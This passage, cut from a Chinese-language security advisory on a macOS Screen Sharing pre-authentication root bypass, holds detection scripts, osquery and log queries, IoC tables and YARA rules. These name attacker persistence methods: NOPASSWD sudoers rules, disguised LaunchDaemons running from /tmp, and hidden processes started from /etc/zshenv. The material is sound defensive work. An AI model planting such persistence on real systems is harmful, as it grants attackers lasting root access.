grep -r "NOPASSWD" /etc/sudoers.d/ 2>/dev/null

# 检查 zshenv 是否被篡改
echo "--- /etc/zshenv content ---"
cat /etc/zshenv 2>/dev/null || echo "(not present)"

# 检查 LaunchDaemons 中的可疑项
echo "--- LaunchDaemons with KeepAlive ---"
grep -rl "KeepAlive" /Library/LaunchDaemons/ 2>/dev/null | \
    while read f; do
        echo "  $f"
        grep -A1 "ProgramArguments" "$f" 2>/dev/null
    done

3. osquery 检测查询

-- 检测 sudoers.d 中的免密码规则 (CVE-2026-43760 持久化指标)
SELECT path, line
FROM sudoers
WHERE line LIKE '%NOPASSWD%'
  AND path LIKE '/etc/sudoers.d/%';

-- 检测可疑 LaunchDaemons (KeepAlive + 非标准路径)
SELECT label, program, path
FROM launchd
WHERE keep_alive = 1
  AND program NOT LIKE '/usr/%'
  AND program NOT LIKE '/System/%';

-- 检测 /etc/zshenv 异常修改时间
SELECT path, mtime, btime
FROM file
WHERE path = '/etc/zshenv'
  AND mtime > strftime('%s', 'now', '-7 days');

-- 检测 screensharingd 进程的异常网络连接
SELECT p.pid, p.name, l.address, l.port
FROM processes p
JOIN process_open_sockets l ON p.pid = l.pid
WHERE p.name = 'screensharingd'
  AND l.state = 'ESTABLISHED';

9.5 日志检测

screensharingd 的认证绕过可能在统一日志系统中留下痕迹。使用 log 命令查询:

# 检测 SRP 认证异常
sudo log show --predicate '
    process == "screensharingd" &&
    (eventMessage CONTAINS "frame too large" ||
     eventMessage CONTAINS "SRP" ||
     eventMessage CONTAINS "authentication")
' --last 7d --style compact

# 检测认证成功但无对应密码验证日志的异常会话
sudo log show --predicate '
    process == "screensharingd" &&
    eventMessage CONTAINS "authenticated"
' --last 24h

异常指标:如果日志中出现"frame too large"错误但随后紧接"authenticated"成功消息,则高度疑似 CVE-2026-43760 利用。


十、IoC 指标

10.1 网络层 IoC

IoC 类型 指标 说明
端口 TCP 5900 screensharingd 默认监听端口
协议特征 RFB + SecurityType 36 SRP 安全类型协商
异常帧 SRP 帧长度字段 ≥ 0x8000 畸形帧触发认证绕过
流量特征 SRP 协商后明文 RFB 消息 加密层未安装的标志
消息类型 0x22 (文件复制) 认证绕过后的文件读写操作

10.2 主机层 IoC

文件系统 IoC:

路径 异常指标 检测方法
/etc/sudoers.d/* 新增未知文件,含 NOPASSWD 规则 文件完整性监控
/etc/zshenv 文件被创建或修改,含 nohup/隐藏进程启动 哈希基线对比
/etc/zprofile 同上 哈希基线对比
/Library/LaunchDaemons/com.evil.helper.plist 非标准 Label,KeepAlive=true launchctl list 审查
/Library/LaunchDaemons/*.plist 指向 /tmp、/var/tmp 等临时路径 路径合理性检查
/tmp/.update_agent 隐藏文件,可执行权限 隐藏文件扫描

可疑 plist Label 命名模式:

com.evil.helper
com.apple.update.agent       # 伪装系统更新
com.system.securityd         # 伪装安全进程
com.macos.sync.helper        # 伪装同步服务

10.3 进程层 IoC

# 检测异常 screensharingd 子进程 (root 权限的异常派生)
sudo ps aux | grep -E 'screensharingd'
# 正常情况: screensharingd 不应派生 /tmp、/var/tmp 下的进程

# 检测从临时路径启动的 root 进程
sudo ps aux | awk '$1=="root" && $11 ~ /^\/(tmp|var\/tmp)\//'

10.4 YARA 规则

以下 YARA 规则可用于扫描持久化载荷文件:

rule CVE_2026_43760_Sudoers_Persistence {
    meta:
        description = "Detects sudoers persistence from CVE-2026-43760"
        cve = "CVE-2026-43760"
        severity = "high"
    strings:
        $nopasswd = /ALL\s+ALL=\(ALL\)\s+NOPASSWD:\s+ALL/i
        $path = /\/etc\/sudoers\.d\//
    condition:
        $nopasswd
}

rule CVE_2026_43760_LaunchDaemon_Persistence {
    meta:
        description = "Detects LaunchDaemon persistence from CVE-2026-43760"
        cve = "CVE-2026-43760"
        severity = "high"
    strings:
        $plist_xml = "<?xml version" nocase
        $keepalive = "<key>KeepAlive</key>" nocase
        $runatload = "<key>RunAtLoad</key>" nocase
        $tmp_path = /\/tmp\/\.|\/var\/tmp\//
    condition:
        $plist_xml and $keepalive and $runatload and $tmp_path
}

rule CVE_2026_43760_Zshenv_Persistence {
    meta:
        description = "Detects zshenv persistence from CVE-2026-43760"
        cve = "CVE-2026-43760"
        severity = "high"
    strings:
        $nohup = "nohup" nocase
        $hidden = /\.update_agent|\.sync_helper|\.securityd/
        $devnull = "/dev/null"
    condition:
        $nohup and $hidden and $devnull
}

10.5 IoC 汇总检查脚本

#!/bin/bash
# CVE-2026-43760 综合 IoC 检查脚本
# 用法: sudo bash cve_2026_43760_ioc_check.sh

echo "============================================"
echo "  CVE-2026-43760 IoC 综合检查"
echo "  日期: $(date)"
echo "============================================"

# 1. 检查 macOS 版本是否受影响
echo ""
echo "[1] 系统版本检查"
PRODUCT_VERSION=$(sw_vers -productVersion)
echo "    当前版本: $PRODUCT_VERSION"
# (此处省略版本比较逻辑, 见修复版本表)

# 2. 检查 Screen Sharing 是否启用
echo ""
echo "[2] Screen Sharing 服务状态"
if launchctl list | grep -q screensharing; then
    echo "    [!] screensharingd 已启用 (存在暴露面)"
else
    echo "    [OK] screensharingd 未运行"
fi

# 3. 检查持久化路径
echo ""
echo "[3] 持久化路径检查"

echo "  [3.1] /etc/sudoers.d/ 内容:"
if ls /etc/sudoers.d/ >/dev/null 2>&1; then
    grep -rn "NOPASSWD" /etc/sudoers.d/ 2>/dev/null && \
        echo "    [!] 发现 NOPASSWD 规则" || \
        echo "    [OK] 未发现可疑规则"
fi

echo "  [3.2] /etc/zshenv:"
if [ -f /etc/zshenv ]; then
    echo "    [!] /etc/zshenv 存在, 内容:"
    cat /etc/zshenv | sed 's/^/      /'
else
    echo "    [OK] /etc/zshenv 不存在"
fi

echo "  [3.3] /Library/LaunchDaemons/ 可疑项:"
for plist in /Library/LaunchDaemons/*.plist; do
    [ -f "$plist" ] || continue
    prog=$(/usr/libexec/PlistBuddy -c "Print :ProgramArguments:0" "$plist" 2>/dev/null)
    case "$prog" in
        /tmp/*|/var/tmp/*|/private/tmp/*)
            echo "    [!] 可疑 plist: $plist -> $prog"
            ;;
    esac
done

# 4. 检查网络连接
echo ""
echo "[4] screensharingd 网络连接"
ESTABLISHED=$(lsof -i :5900 -sTCP:ESTABLISHED 2>/dev/null | wc -l)
echo "    5900 端口 ESTABLISHED 连接数: $ESTABLISHED"

# 5. 检查统一日志中的异常
echo ""
echo "[5] 近期日志中的 SRP 异常"
sudo log show --predicate '
    process == "screensharingd" &&
    eventMessage CONTAINS "frame too large"
' --last 24h --style compact 2>/dev/null | head -5

echo ""
echo "============================================"
echo "  检查完成"
echo "============================================"

总结

CVE-2026-43760 是 macOS 安全史上最严重的预认证远程漏洞之一。其破坏力源于多个因素的叠加:

  1. 预认证触发:漏洞发生在认证握手阶段,攻击者无需任何凭据。
  2. Root 权限继承:screensharingd 以 root 运行,绕过后的会话直接获得 root 权限。
  3. 加密层缺失:SRP 状态机被完全跳过,连接退化为明文,攻击者可自由构造任意协议消息。
  4. SIP 无法阻止持久化:/etc/sudoers.d/、/etc/zshenv、/Library/LaunchDaemons/ 等 SIP 未保护路径足以实现可靠持久化。
  5. 双重缺陷:Stale Success Code 与 A ≡ 0 (mod N) 检查缺失是两个独立缺陷,修复时必须同时处理。

从防御角度,组织应立即将所有 macOS 主机升级至 Tahoe 26.6 或 Sonoma 14.8.8,审计 Screen Sharing 服务的暴露面,部署针对畸形 SRP 帧和关键持久化路径的检测规则。同时,应认识到 SIP 并非持久化防御的银弹,必须结合文件完整性监控与端点检测响应构建纵深防御体系。

Apple 与 NVD 之间的 CVSS 评分分歧也提醒安全团队:不应完全依赖厂商自评得分来排序漏洞修复优先级,而应结合攻击面分析、利用前置条件和实际影响进行独立评估。对于预认证、远程、root 级别的漏洞,无论厂商评分如何,均应按最高优先级处置。